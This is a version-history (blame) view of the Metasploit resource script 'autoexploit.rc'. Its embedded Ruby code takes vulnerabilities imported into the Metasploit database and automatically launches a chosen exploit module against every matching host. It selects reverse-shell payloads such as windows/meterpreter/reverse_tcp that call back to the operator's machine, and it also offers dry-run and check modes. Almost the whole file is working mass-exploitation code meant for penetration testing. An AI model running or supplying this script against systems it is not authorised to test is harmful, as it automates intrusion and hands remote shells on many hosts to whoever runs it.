Files
metasploit-gs/scripts/resource/autoexploit.rc
T

248 lines
5.9 KiB
Plaintext
Raw Normal View History

2012-07-06 15:02:28 -05:00
<ruby>
#
# Print the help function
#
def help_me
help = %Q|
2012-07-06 16:18:14 -05:00
Description:
This Metasploit RC file can be used to automate the exploitation process. Before
2012-07-06 15:02:28 -05:00
using this script, you should import your vulnerability results to Metasploit, and
2012-07-06 16:18:14 -05:00
then it will exploit each possible host when there is a match to one of the
references. A reverse shell is automatically selected for you, and will always
default to a suitable meterpreter.
2012-07-06 15:02:28 -05:00
Usage:
2012-07-10 13:21:32 +02:00
./msfconsole -r [rc_path] [db_user] [db_pass] [db_workspace] [module_path] [dry] [check]
2012-07-06 15:02:28 -05:00
Arguments:
2012-07-06 16:18:14 -05:00
rc_path - Full path to the RC script
2012-07-09 13:57:28 -05:00
db_user - Username for MSF database (datastore: 'DB_USER')
db_pass - Password for MSF database (datastore: 'DB_PASS')
db_worksapce - Workspace for the database (datastore: 'DB_WORKSPACE')
module_path - Path to the exploit (datastore: 'MODULE')
dry - Optional. Dry-run mode [yes/no] (datastore: 'DRY')
2012-07-10 13:21:32 +02:00
check - Optional. Check mode [yes/no] (datastore: 'CHECK')
2012-07-09 13:48:02 -05:00
Example:
msfconsole -r autoexploit.rc username password msf windows/smb/ms08_067_netapi
2012-07-06 16:20:17 -05:00
2012-07-06 15:02:28 -05:00
Authors:
2012-07-06 16:18:14 -05:00
sinn3r <sinn3r[at]metasploit.com>
2012-07-10 13:21:32 +02:00
m-1-k-3 <m1k3[at]s3cur1ty.de>
2012-07-06 15:02:28 -05:00
|
2012-07-06 16:20:17 -05:00
2012-07-06 15:02:28 -05:00
help = help.gsub(/^\t/, '')
print_line(help)
end
#
# Load an exploit
#
def load_exploit(path)
framework.exploits.create(path)
end
#
2012-07-09 14:06:29 -05:00
# See if there is a match for the exploit
2012-07-06 15:02:28 -05:00
#
def ref_has_match(vuln_refs, exp_refs)
# exp_refs is an array of URLs
# vuln_refs is a collection of Mdm::Ref, with 'name' being the most useful info
# (may contain a link)
vuln_refs.each do |ref|
n = ref.name
n = n.gsub(/^CVE\-/, '')
n = n.gsub(/^OSVDB\-/, '')
n = n.gsub(/^MSB\-/, '')
n = n.gsub(/^EDB-/, '')
exp_refs.each { |e| return true if e.to_s =~ /#{n}/ }
end
return false
end
#
# Automatically select a payload in this order:
# Windows meterpreter, linux, osx, php, java, generic
#
def select_payload(exploit)
windows = 'windows/meterpreter/reverse_tcp'
linux = 'linux/x86/reverse_tcp'
osx = 'osx/x86/shell_reverse_tcp'
php = 'php/meterpreter_reverse_tcp'
multi = 'java/meterpreter/reverse_tcp'
generic = 'generic/shell_reverse_tcp'
payloads = []
exploit.compatible_payloads.each do |p|
payloads << p[0]
end
if payloads.include?(windows)
return windows
elsif payloads.include?(linux)
return linux
elsif payloads.include?(php)
return php
elsif payloads.include?(multi)
return multi
elsif payloads.include?(generic)
return generic
else
# WTF? This exploit supports NONE of our favorite payloads?
# What kinda BS is this?
return nil
2012-07-06 15:02:28 -05:00
end
end
#
# Connect to the database
#
def init_db(username, password, workspace)
if username.empty? or password.empty?
2012-07-09 13:48:02 -05:00
raise ArgumentError, "You must have a credential to connect to your database"
2012-07-06 15:02:28 -05:00
end
print_status("Connecting to database: #{workspace}")
run_single("db_connect #{username}:#{password}@localhost:5432/#{workspace}")
end
#
# Start the exploitation
#
def auto_exploit(module_path)
exploit = load_exploit(module_path)
2012-07-09 13:48:02 -05:00
raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?
2012-07-06 15:02:28 -05:00
exploit_refs = exploit.references
get_payload = select_payload(exploit)
lhost = Rex::Socket.source_address('50.50.50.50')
if get_payload.nil?
raise RuntimeError, "No payload selected for this exploit"
else
print_status("Payload selected: #{get_payload} (lhost=#{lhost})")
end
2012-07-06 15:02:28 -05:00
framework.db.workspace.vulns.each do |vuln|
next if not ref_has_match(vuln.refs, exploit_refs)
2012-07-09 13:48:02 -05:00
print_good("Using #{exploit.shortname} against host #{vuln.host.address.to_s}")
2012-07-06 15:02:28 -05:00
run_single("use #{exploit.fullname}")
run_single("set RHOST #{vuln.host.address.to_s}")
run_single("set payload #{get_payload}")
run_single("set lhost #{lhost}")
run_single("exploit -z")
select(nil, nil, nil, 1)
run_single("back")
end
end
2012-07-09 13:48:02 -05:00
#
# Find all mathing references
#
2012-07-10 13:21:32 +02:00
def dry_run(module_path,check)
2012-07-09 13:48:02 -05:00
exploit = load_exploit(module_path)
raise RuntimeError, "Exploit not found: #{module_path}" if exploit.nil?
exploit_refs = exploit.references
framework.db.workspace.vulns.each do |vuln|
next if not ref_has_match(vuln.refs, exploit_refs)
addr = vuln.host.address.to_s
print_good("#{addr} seems vulnerable to #{exploit.shortname}")
2012-07-10 13:21:32 +02:00
if check == true
print_good("checking #{addr} with check mechanism of #{exploit.shortname}")
run_single("use #{exploit.fullname}")
run_single("set RHOST #{addr}")
run_single("check")
run_single("back")
print_line("")
end
2012-07-09 13:48:02 -05:00
end
2012-07-06 15:02:28 -05:00
end
2012-07-09 13:48:02 -05:00
#
# See if we're already connected
#
def is_db_connected?
begin
framework.db.hosts
return true
rescue ::ActiveRecord::ConnectionNotEstablished
return false
end
end
2012-07-09 14:06:29 -05:00
#
# Initialize our arguments
#
2012-07-09 13:48:02 -05:00
def init_args
args = {}
if ARGV.join('') =~ /^help$/i
args[:help] = true
return args
end
datastore = framework.datastore
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
args[:module] = ARGV.shift || datastore['MODULE'] || ''
args[:dry] = (ARGV.shift || datastore['DRY']) =~ /^yes$/i ? true : false
2012-07-10 13:21:32 +02:00
args[:check] = (ARGV.shift || datastore['CHECK']) =~ /^yes$/i ? true : false
2012-07-09 13:48:02 -05:00
raise ArgumentError, "Missing a module path" if args[:module].empty?
return args
2012-07-06 15:02:28 -05:00
end
2012-07-09 13:48:02 -05:00
2012-07-09 14:06:29 -05:00
#
# Code below serves as our "main" code.
# We chose not to wrap it around in a run() function, because if
# we do, any "return" will exit msfconsole, and we don't actually want that
# to happen.
#
2012-07-06 15:02:28 -05:00
begin
2012-07-09 13:48:02 -05:00
args = init_args
if args[:help]
help_me
return
2012-07-06 15:02:28 -05:00
else
2012-07-09 13:48:02 -05:00
if not is_db_connected?
init_db(args[:db_user], args[:db_pass], args[:db_workspace])
end
2012-07-06 15:02:28 -05:00
end
2012-07-09 13:48:02 -05:00
if args[:dry]
2012-07-10 13:21:32 +02:00
dry_run(args[:module], args[:check])
elsif args[:check]
dry_run(args[:module], args[:check])
2012-07-09 13:48:02 -05:00
else
auto_exploit(args[:module])
end
rescue ArgumentError => e
print_error("Invalid argument: #{e.message}")
return
2012-07-06 15:02:28 -05:00
rescue RuntimeError => e
print_error(e.message)
return
2012-07-09 13:48:02 -05:00
rescue ::Exception => e
raise e
2012-07-06 15:02:28 -05:00
end
</ruby>